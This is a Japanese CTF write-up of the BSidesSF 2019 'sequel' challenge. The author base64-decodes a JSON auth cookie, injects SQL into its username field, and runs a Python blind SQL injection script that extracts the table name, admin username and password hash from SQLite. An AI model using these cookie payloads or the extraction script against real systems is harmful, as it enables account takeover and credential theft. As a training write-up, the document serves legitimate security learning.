BSidesSF 2019 CTF Writeup - sequel
Question

Solution
usernameとpasswordを入力するログイン画面だけ。
適当にusernameとpasswordを試すと、guest/guestでログインに成功。

curlを使用してヘッダー情報等を確かめる。
root@kali:~# curl https://sequel-9cba4c8e.challenges.bsidessf.net/login -d "username=guest&password=guest" -i -L
HTTP/2 302
location: /sequels
set-cookie: 1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9; HttpOnly
date: Mon, 04 Mar 2019 15:17:28 GMT
content-length: 0
via: 1.1 google
alt-svc: clear
HTTP/2 302
content-type: text/html; charset=utf-8
location: /
date: Mon, 04 Mar 2019 15:17:28 GMT
content-length: 24
via: 1.1 google
alt-svc: clear
HTTP/2 200
date: Mon, 04 Mar 2019 15:17:28 GMT
content-length: 1783
content-type: text/html; charset=utf-8
via: 1.1 google
alt-svc: clear
<!doctype html>
<html>
<head>
<title>Sequel Movie Database</title>
<link rel="stylesheet"
href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css"
integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T"
crossorigin="anonymous">
<link href="https://afeld.github.io/emoji-css/emoji.css"
rel="stylesheet"
integrity="sha384-uGTTb3+0QIk5Qo4quqvZ240ObGuQyjGRx7O5BxG30zuaGowlT7gVbSSGAreaKSCl"
crossorigin="anonymous">
<link rel="stylesheet" href="/static/styles.css">
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"
integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo"
crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"
integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1"
crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"
integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM"
crossorigin="anonymous"></script>
</head>
<body class='text-center'>
<h2>Sequel Movie Database Login</h2>
<div class="loginbox">
<form class="login" method="post" action="/login">
<input type="hidden" name="guest_password" value="guest">
<input type="text" id="username" class="form-control" name="username" placeholder="username">
<input type="text" id="password" class="form-control" name="password" placeholder="password">
<input type="submit" class="form-control" value="Log In">
</form>
</div>
</body>
</html>
Cookieに1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9をセットされて、/sequelsにリダイレクトされている。
明らかにBASE64エンコード文字列であるため、デコードして確かめる。
root@kali:~# echo -n eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9 | base64 -d
{"username":"guest","password":"guest"}
usernameとpasswordがJSON形式でセットされていた。
ここが攻め筋と想定。
SQL Injectionを疑っていくつか試すと、
{"username":"guest\" or \"A\"=\"A","password":"guest"}
をBASE64エンコードしてCookieにセットするとログインに成功した。
root@kali:~# echo '{"username":"guest\" or \"A\"=\"A","password":"guest"}' | base64
eyJ1c2VybmFtZSI6Imd1ZXN0XCIgb3IgXCJBXCI9XCJBIiwicGFzc3dvcmQiOiJndWVzdCJ9Cg==
root@kali:~# curl https://sequel-9cba4c8e.challenges.bsidessf.net/sequels -H 'Cookie:1337_AUTH=eyJ1c2VybmFtZSI6Imd1ZXN0XCIgb3IgXCJBXCI9XCJBIiwicGFzc3dvcmQiOiJndWVzdCJ9Cg=='
<!doctype html>
<html>
(snip)
<h2>Sequel Movie Database</h2>
(snip)
</html>

あとはBlind SQL Injectionを使用してテーブル内容を抽出するだけ。
以下、実行したスクリプト。DBはSQLiteだった。
import requests import string import base64 URL = 'https://sequel-9cba4c8e.challenges.bsidessf.net/sequels' LETTERS = string.printable target = "" while True: f = False for e in LETTERS: tmp = target + e # 1.テーブル名を取得 payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT name FROM sqlite_master limit 0,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) # 2.usernameを取得 #payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT username FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) # 3.passwordを取得 #payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT password FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e) payload = base64.b64encode(payload.encode('utf-8')).decode("utf-8") req = requests.Request( 'GET', URL, params={ }, cookies={ "1337_AUTH":payload } ) prepared = req.prepare() s = requests.Session() r = s.send(prepared, allow_redirects = False) if "Movie" in r.text: target = tmp print(target) f = True break if f: continue exit()
- # 1の実行結果より、テーブル名は
userinfo - # 2の実行結果より、usernameは
sequeladmin - # 3の実行結果より、passwordは
f5ec3af19f0d3679e7d5a148f4ac323d
ということがわかったので、ログインする。

CTF{%did_you_LIKE_it%}
フラグゲット。